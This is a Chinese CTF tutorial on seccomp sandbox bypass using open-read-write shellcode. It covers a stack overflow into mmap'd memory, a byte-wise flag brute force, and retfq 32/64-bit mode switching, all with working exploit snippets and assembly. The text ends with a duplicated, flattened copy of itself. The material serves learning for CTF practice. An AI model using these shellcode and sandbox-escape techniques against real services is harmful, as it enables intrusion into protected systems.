栈沙箱学习之orw
字数 1509 2025-08-20 18:17:41

栈沙箱学习之ORW绕过技术详解

前言

ORW(Open-Read-Write)绕过技术是CTF Pwn题目中常见的沙箱绕过方法,主要用于当程序禁用execve等危险系统调用时,通过组合open、read、write系统调用来读取并输出flag内容。

沙箱保护机制

沙箱保护通过对程序加入限制,最常见的是禁用某些系统调用(如execve),使得攻击者无法直接获取远程终端权限。在这种情况下,只能通过ROP方式调用open、read、write来读取并打印flag内容。

查看沙箱配置

可以使用seccomp-tools工具查看程序是否开启沙箱以及允许的系统调用:

$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools
$ seccomp-tools dump ./pwn

沙箱开启的两种方式

在CTF Pwn题中,沙箱通常通过以下两种方式实现:

1. prctl()函数调用

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

重要参数:

  • PR_SET_NO_NEW_PRIVS(38): 第二个参数设为1时禁用execve系统调用
  • PR_SET_SECCOMP(22):
    • 第二个参数为1时,只允许read/write/_exit/sigreturn
    • 第二个参数为2时为过滤模式,通过参数3的结构体自定义规则

2. seccomp库函数

__int64 sandbox() {
  __int64 v1 = seccomp_init(0LL);  // 0表示白名单模式,0x7fff0000U为黑名单模式
  
  // 添加规则
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);  // open
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);  // read
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);  // write
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL); // exit
  
  seccomp_load(v1);  // 加载过滤器到内核
  return seccomp_release(v1);
}

Shellcode写入位置

当溢出空间不足时,题目通常会提供mmap函数来申请额外内存:

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

常用参数设置:

  • addr: 要申请的地址(建议4字节对齐)
  • length: 申请长度(建议0x1000)
  • prot: 权限(7表示RWX)
  • flags: 0x22
  • fd: 0xFFFFFFFF
  • offset: NULL

实例分析

案例1:[极客大挑战 2019]Not Bad (完整ORW)

检查保护:

  • 64位,保护全关
  • 允许open/read/write/exit

漏洞点:

char buf[32];
read(0, buf, 0x38uLL);  // 栈溢出漏洞

利用思路:

  1. 构造ORW shellcode
  2. 利用jmp_rsp跳转到mmap内存
  3. 执行shellcode获取flag

EXP关键部分:

mmap = 0x123000
orw = shellcraft.open('./flag')
orw += shellcraft.read(3, mmap, 0x50)  # fd=3是第一个打开的文件
orw += shellcraft.write(1, mmap, 0x50)

jmp_rsp = 0x400A01

pl = asm(shellcraft.read(0, mmap, 0x100)) + asm('mov rax,0x123000;call rax')
pl = pl.ljust(0x28, b'\x00')
pl += p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')

案例2:2021蓝帽杯初赛-slient (缺少write)

沙箱限制:

  • 只允许read和open

解决方案:

  • 采用单字节爆破方式
  • 比较flag字符,命中则卡住循环,否则程序退出
  • 通过程序表现判断字符是否正确

EXP关键部分:

def exp(dis, char):
    shellcode = '''
        /* open("flag") */
        mov esp,0x40404140
        push 0x67616c66  # "flag"
        push esp
        pop ebx
        xor ecx,ecx
        mov eax,5  # open系统调用号
        int 0x80
        
        /* read(fp, buf, 0x50) */
        mov ecx,eax
        push 0x33
        push 0x40404089
        retfq  # 切换回64位
        
        mov rdi,rcx
        mov rsi,rsp
        mov rdx,0x70
        xor rax,rax
        syscall
        
        /* 单字节比较 */
        push 0
        cmp byte ptr[rsi+{}],{}
        jz $-3  # 命中则卡住
        ret
    '''.format(dis, char)

案例3:RW缺O (缺少open)

解决方案:

  • 利用fstat系统调用(64位系统调用号5,对应32位的open)
  • 使用retfq指令在32位和64位模式间切换

retfq使用说明:

  • 从64位切换到32位:
    push 0x23      ; 32位代码段选择子
    push addr      ; 32位代码地址
    retfq
    
  • 从32位切换到64位:
    push 0x33      ; 64位代码段选择子
    push addr      ; 64位代码地址
    retfq
    

关键shellcode:

/* 64->32切换 */
push 0x23
push 0x40404040
retfq

/* 32位open */
mov esp,0x40000400
push 0x0067      ; "g"
push 0x616c662f  ; "alf/"
mov ebx,esp      ; filename
xor ecx,ecx      ; flags
mov eax,5        ; open系统调用号
int 0x80

/* 32->64切换 */
push 0x33
push 0x40000037
retfq

高级技巧

1. 纯字符Shellcode生成

当题目限制shellcode必须为可打印字符时,可以使用alpha3工具生成:

python ~/pwntools/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input=/tmp/raw

2. 系统调用号参考

名称 32位调用号 64位调用号
read 3 0
write 4 1
open 5 2
exit 1 60
fstat - 5

总结

ORW绕过技术的核心是根据沙箱限制灵活组合可用的系统调用:

  1. 完整ORW:直接使用open/read/write
  2. 缺少write:采用单字节爆破
  3. 缺少open:利用fstat+retfq模式切换
  4. 缺少read/write:结合mmap和文件描述符操作

掌握这些技术需要深入理解系统调用约定、CPU模式切换和shellcode构造技巧。

栈沙箱学习之ORW绕过技术详解 前言 ORW(Open-Read-Write)绕过技术是CTF Pwn题目中常见的沙箱绕过方法,主要用于当程序禁用execve等危险系统调用时,通过组合open、read、write系统调用来读取并输出flag内容。 沙箱保护机制 沙箱保护通过对程序加入限制,最常见的是禁用某些系统调用(如execve),使得攻击者无法直接获取远程终端权限。在这种情况下,只能通过ROP方式调用open、read、write来读取并打印flag内容。 查看沙箱配置 可以使用 seccomp-tools 工具查看程序是否开启沙箱以及允许的系统调用: 沙箱开启的两种方式 在CTF Pwn题中,沙箱通常通过以下两种方式实现: 1. prctl()函数调用 重要参数: PR_SET_NO_NEW_PRIVS(38) : 第二个参数设为1时禁用execve系统调用 PR_SET_SECCOMP(22) : 第二个参数为1时,只允许read/write/_ exit/sigreturn 第二个参数为2时为过滤模式,通过参数3的结构体自定义规则 2. seccomp库函数 Shellcode写入位置 当溢出空间不足时,题目通常会提供mmap函数来申请额外内存: 常用参数设置: addr: 要申请的地址(建议4字节对齐) length: 申请长度(建议0x1000) prot: 权限(7表示RWX) flags: 0x22 fd: 0xFFFFFFFF offset: NULL 实例分析 案例1:[ 极客大挑战 2019 ]Not Bad (完整ORW) 检查保护: 64位,保护全关 允许open/read/write/exit 漏洞点: 利用思路: 构造ORW shellcode 利用jmp_ rsp跳转到mmap内存 执行shellcode获取flag EXP关键部分: 案例2:2021蓝帽杯初赛-slient (缺少write) 沙箱限制: 只允许read和open 解决方案: 采用单字节爆破方式 比较flag字符,命中则卡住循环,否则程序退出 通过程序表现判断字符是否正确 EXP关键部分: 案例3:RW缺O (缺少open) 解决方案: 利用fstat系统调用(64位系统调用号5,对应32位的open) 使用retfq指令在32位和64位模式间切换 retfq使用说明: 从64位切换到32位: 从32位切换到64位: 关键shellcode: 高级技巧 1. 纯字符Shellcode生成 当题目限制shellcode必须为可打印字符时,可以使用alpha3工具生成: 2. 系统调用号参考 | 名称 | 32位调用号 | 64位调用号 | |------|-----------|-----------| | read | 3 | 0 | | write| 4 | 1 | | open | 5 | 2 | | exit | 1 | 60 | | fstat| - | 5 | 总结 ORW绕过技术的核心是根据沙箱限制灵活组合可用的系统调用: 完整ORW:直接使用open/read/write 缺少write:采用单字节爆破 缺少open:利用fstat+retfq模式切换 缺少read/write:结合mmap和文件描述符操作 掌握这些技术需要深入理解系统调用约定、CPU模式切换和shellcode构造技巧。